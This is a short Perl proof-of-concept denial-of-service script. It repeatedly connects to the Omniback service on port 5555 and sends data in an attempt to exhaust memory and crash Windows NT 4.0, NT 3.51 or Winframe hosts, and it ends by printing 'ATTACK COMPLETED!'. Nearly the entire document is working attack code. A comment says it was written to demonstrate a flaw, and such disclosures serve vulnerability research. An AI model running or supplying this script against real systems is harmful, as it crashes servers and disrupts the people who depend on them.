#!/usr/bin/perl # # Jon Hittner # Raise the memory size for omnilnet until Windows NT crashes # Test against NT4.0 SP5 , NT3.51 , Winframe 1.7 SP5b , Winframe 1.8 # Probably needs to be run several times to crash the system depending # on the amount of memory in the system. # This code was written to demo a problem, and I take no respoablity on how # it's used use strict; use Socket; my($y,$h,$p,$in_addr,$proto,$addr); $h = "$ARGV[0]"; $p = 5555 if (!$ARGV[1]); if (!$h) { print "A hostname must be provided. Ex: www.domain.com\n"; } $in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr); $proto = getprotobyname('tcp'); print "TESTING: $h:$p\n"; for ($y=1 ; $y<2500000 ; $y++) { socket(S, AF_INET, SOCK_STREAM, $proto); connect(S,$addr) or next; select S; $| = 1; select STDOUT; send S,"OMNIBACK HAS SOME BIG ISSUES",0; } print "ATTACK COMPLETED!\n";